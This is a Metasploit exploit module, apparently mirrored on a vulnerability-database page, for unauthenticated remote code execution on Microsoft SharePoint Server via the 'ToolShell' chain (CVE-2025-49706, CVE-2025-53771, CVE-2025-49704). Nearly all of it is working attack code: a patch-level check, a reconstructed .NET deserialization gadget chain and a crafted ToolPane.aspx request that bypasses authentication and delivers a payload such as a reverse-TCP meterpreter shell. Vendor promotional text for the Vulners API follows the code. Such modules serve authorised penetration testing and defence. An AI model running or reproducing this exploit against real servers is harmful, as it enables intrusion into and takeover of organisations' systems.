##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)',
'Description' => %q{
This module exploits the authentication bypass vulnerabilities CVE-2025-49706 and CVE-2025-53771, and an unsafe
deserialization vulnerability CVE-2025-49704, to achieve unauthenticated RCE against a vulnerable Microsoft
SharePoint Server. The vulnerability CVE-2025-53770 was disclosed as being a patch bypass of CVE-2025-49704,
and as described by the finders, CVE-2025-53770 targets a different endpoint within the /_vti_bin/ URI path.
As this exploit module does not target the endpoint associated with CVE-2025-53770 (per the original finders),
we believe this module is best described as exploiting CVE-2025-49704 and not CVE-2025-53770.
},
'License' => MSF_LICENSE,
'Author' => [
# Discovered CVE-2025-49704 and CVE-2025-49706, demoed at Pwn2Own Berlin 2025.
# Credited by Microsoft as also discovering CVE-2025-53770 and CVE-2025-53771.
'Viettel Cyber Security',
# Metasploit module, based on the public PoC of the exploit for CVE-2025-49706 and CVE-2025-49704.
'sfewer-r7'
],
'References' => [
# Microsoft SharePoint DataSetSurrogateSelector Deserialization of Untrusted Data Remote Code Execution Vulnerability.
['CVE', '2025-49704'],
# Microsoft SharePoint ToolPane Authentication Bypass Vulnerability.
['CVE', '2025-49706'],
# Patch bypass for CVE-2025-49704, by targeting a different endpoint within the /_vti_bin/ path.
['CVE', '2025-53770'],
# Patch bypass for CVE-2025-49706.
['CVE', '2025-53771'],
# Technical analysis of CVE-2025-49704 and CVE-2025-49706 by the original finder, Dinh Ho Anh Khoa (Viettel Cyber Security).
['URL', 'https://blog.viettelcybersecurity.com/sharepoint-toolshell/'],
# LeakIX blog which captured the malicious request for the in-the-wild exploit for CVE-2025-49706, CVE-2025-53771, and CVE-2025-49704.
['URL', 'https://blog.leakix.net/2025/07/using-their-own-weapons-for-defense-a-sharepoint-story/'],
# Technical analysis of CVE-2025-49704, CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771 by Kaspersky.
['URL', 'https://securelist.com/toolshell-explained/'],
# ZDI advisories for CVE-2025-49704 and CVE-2025-49706, discovered by Viettel Cyber Security.
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-580/'],
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-581/'],
# Microsoft advisories for CVE-2025-49704 and CVE-2025-49706.
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706'],
# Microsoft advisories for CVE-2025-53770 and CVE-2025-53771.
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771'],
# Microsoft Guidance.
['URL', 'https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/'],
['URL', 'https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/'],
# The zero-day exploit for CVE-2025-49704, CVE-2025-49706, published July 21, 2025.
['URL', 'https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501'],
# Markus Wulftange (CODE WHITE GmbH) reproduced CVE-2025-49704 and CVE-2025-49706, circa July 14, 2025.
['URL', 'https://x.com/codewhitesec/status/1944743478350557232'],
# Dinh Ho Anh Khoa (Viettel Cyber Security) demoed CVE-2025-49704 and CVE-2025-49706 at Pwn2Own Berlin on May 16, 2025.
['URL', 'https://x.com/thezdi/status/1923317597673533552'],
# Prior work from Steven Seeley on a similar DataSet gadget chain for SharePoint.
['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html']
],
'DisclosureDate' => '2025-07-08', # Disclosure date for CVE-2025-49704 and CVE-2025-49706.
'Platform' => ['win'],
'Arch' => [ARCH_CMD],
'Privileged' => false, # Executes as the SharePoint site user.
'Targets' => [
[
'Default', {}
]
],
# NOTE: Tested with the following payloads:
# cmd/windows/http/x64/meterpreter/reverse_tcp
# cmd/windows/generic
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false,
# Delete the fetch binary after execution.
'FETCH_DELETE' => true,
# The root path of the SharePoint site
'URIPATH' => '/'
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'start.aspx')
)
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200
# The returned HTML will have a blob of JavaScript that contains a hash object called _spPageContextInfo. A key
# called siteClientTag will have a value of the current SharePoint Server patch level. We cannot rely on the HTTP
# header value MicrosoftSharePointTeamServices as this may not reflect the actual patch level.
site_client_tag = res.body.match(/"*siteClientTag"*\s*:\s*"\d*[$]+([^"]+)",/)
return CheckCode::Unknown('Unable to extract the siteClientTag') unless site_client_tag
version = Rex::Version.new(site_client_tag[1])
# We compare the version we pull from the target, against a table of known vulnerable SharePoint editions. We
# compare the target version against the RTM version (i.e. the first version of an edition) and the version *before*
# the patch for CVE-2025-53770 and CVE-2025-53771 (which supersedes patches for CVE-2025-49704 and CVE-2025-49706
# from July 2025).
# Note: A SharePoint server that has the patch for CVE-2025-49704 applied, may still be vulnerable if a SharePoint
# configuration update has not also manually occurred.
# https://learn.microsoft.com/en-us/sharepoint/product-servicing-policy/updated-product-servicing-policy-for-sharepoint-2019
# https://learn.microsoft.com/en-us/officeupdates/sharepoint-updates
ranges = [
[
'Microsoft SharePoint Server Subscription Edition',
'16.0.14326.20450', # The RTM version (circa 2021)
'16.0.18526.20424' # July 2025
],
[
'Microsoft SharePoint Server 2019',
'16.0.10337.12109', # The RTM version (circa 2019)
'16.0.10417.20027' # July 2025
],
[
'Microsoft SharePoint Enterprise Server 2016',
'16.0.4351.1000', # The RTM version (circa 2017)
'16.0.5508.1000' # July 2025
],
# NOTE: It is unclear if older unsupported versions (SharePoint Server 2013 and 2010) are vulnerable.
[
'SharePoint Server 2013',
'15.0.4481.1005',
'15.0.5545.1000' # Last version before end of support.
],
[
'SharePoint Server 2010',
'14.0.7015.1000',
'14.0.7268.5000' # Last version before end of support.
]
]
ranges.each do |product, rtm_version, patch_version|
if version.between?(Rex::Version.new(rtm_version), Rex::Version.new(patch_version))
return Exploit::CheckCode::Appears("Detected #{product} version #{version}")
end
end
# If we get here, it's a patched version.
Exploit::CheckCode::Safe("Detected Microsoft SharePoint Server version #{version}")
end
def exploit
gadget_raw = create_gadget_chain
send_exploit(gadget_raw)
end
# This gadget chain was reconstructed from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501)
# and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget chain has
# been removed, and we instead use our nested_gadget_b64 to execute a Metasploit payload (via a separate
# TypeConfuseDelegate gadget chain).
class DataSetWrapper < Msf::Util::DotNetDeserialization::Types::SerializedStream
def self.generate(nested_gadget_b64)
name_a = Rex::Text.rand_text_alpha_lower(8..16)
name_b = Rex::Text.rand_text_alpha_lower(8..16)
name_c = Rex::Text.rand_text_alpha_lower(8..16)
# The msdata:DataType attribute below is CVE-2025-49704, and allows bypassing a filter list so we can instantiate
# LosFormatter and ObjectDataProvider in the diffgr:diffgram XML document below, allowing us to kick off a second
# stage deserialization gadget (which will be a TypeConfuseDelegate + LosFormatter gadget chain).
schema = <<~EOF
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="#{name_a}">
<xs:element name="#{name_a}" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
<xs:complexType>
<xs:choice minOccurs="0" maxOccurs="unbounded">
<xs:element name="#{name_b}">
<xs:complexType>
<xs:sequence>
<xs:element name="#{name_c}" msdata:DataType="System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:choice>
</xs:complexType>
</xs:element>
</xs:schema>
EOF
diffgram = <<~EOF
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<#{name_a}>
<#{name_b} diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<#{name_c} xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Deserialize</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">#{nested_gadget_b64}</anyType>
</MethodParameters>
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfLosFormatterObjectDataProvider>
</#{name_c}>
</#{name_b}>
</#{name_a}>
</diffgr:diffgram>
EOF
system = Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0'].fetch('System.Data')
library = Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryLibrary.new(
library_id: 2,
library_name: system.to_s
)
from_values([
Msf::Util::DotNetDeserialization::Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
library,
Msf::Util::DotNetDeserialization::Types::RecordValues::ClassWithMembersAndTypes.new(
class_info: Msf::Util::DotNetDeserialization::Types::General::ClassInfo.new(
obj_id: 1,
name: 'System.Data.DataSet',
member_names: %w[XmlSchema XmlDiffGram]
),
member_type_info: Msf::Util::DotNetDeserialization::Types::General::MemberTypeInfo.new(
binary_type_enums: %i[String String]
),
library_id: library.library_id,
member_values: [
Msf::Util::DotNetDeserialization::Types::Record.from_value(
Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
obj_id: 3,
string: schema
)
),
Msf::Util::DotNetDeserialization::Types::Record.from_value(
Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
obj_id: 2,
string: diffgram
)
),
]
),
Msf::Util::DotNetDeserialization::Types::RecordValues::MessageEnd.new
])
end
end
def create_gadget_chain
# NOTE: Depending on the version of SharePoint, different gadgets can be used.
#
# * A TypeConfuseDelegate + BinaryFormatter gadget chain was tested against Microsoft SharePoint Server 2019 version
# 16.0.10337.12109 (RTM circa 2019), but does not work on more recent versions like 16.0.10417.20018 (June 2025).
#
# * The XmlSchema DataSet chain which then wraps the TypeConfuseDelegate + LosFormatter gadget chain was tested to
# work against Microsoft SharePoint Server 2019 versions 16.0.10337.12109 (RTM circa 2019), 16.0.10417.20018
# (June 2025), and 16.0.10417.20027 (July 2025). This is the chain as caught in-the-wild circa July 19, 2025.
typeconfusedelegate_gadget_raw = ::Msf::Util::DotNetDeserialization.generate(
payload.encoded,
gadget_chain: :TypeConfuseDelegate,
formatter: :LosFormatter
)
vprint_status('Using TypeConfuseDelegate + LosFormatter gadget chain:')
vprint_line(Rex::Text.to_hex_dump(typeconfusedelegate_gadget_raw))
typeconfusedelegate_gadget_b64 = Base64.strict_encode64(typeconfusedelegate_gadget_raw)
dataset_gadget_raw = DataSetWrapper.generate(typeconfusedelegate_gadget_b64).to_binary_s
vprint_status('Using XmlSchema DataSet + BinaryFormatter gadget chain:')
vprint_line(Rex::Text.to_hex_dump(dataset_gadget_raw))
dataset_gadget_raw
end
def send_exploit(gadget_raw)
gadget_gzip = StringIO.new
gzip = Zlib::GzipWriter.new(gadget_gzip)
gzip.write(gadget_raw)
gzip.close
namespace_ui = Rex::Text.rand_text_alpha_lower(8..16)
namespace_scorecards = Rex::Text.rand_text_alpha_lower(8..16)
xml = <<~EOF
<%@ Register Tagprefix="#{namespace_ui}" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<%@ Register Tagprefix="#{namespace_scorecards}" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<#{namespace_ui}:UpdateProgress>
<ProgressTemplate>
<#{namespace_scorecards}:ExcelDataSet CompressedDataTable="#{Base64.strict_encode64(gadget_gzip.string)}" DataTable-CaseSensitive="true" runat="server"/>
</ProgressTemplate>
</#{namespace_ui}:UpdateProgress>
EOF
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(
target_uri.path,
'_layouts',
'15',
'ToolPane.aspx',
Rex::Text.rand_text_alpha_lower(8..16) # The addition of a trailing path segment appears to be CVE-2025-53771
),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => {
'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') # This is part of CVE-2025-49706
},
'vars_get' => {
'DisplayMode' => 'Edit', # This is part of CVE-2025-49706
Rex::Text.rand_text_alpha_lower(8..16) => '/ToolPane.aspx' # This is part of CVE-2025-49706
},
'vars_post' => {
'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')), # This is part of CVE-2025-49706
'MSOTlPn_DWP' => xml
}
)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation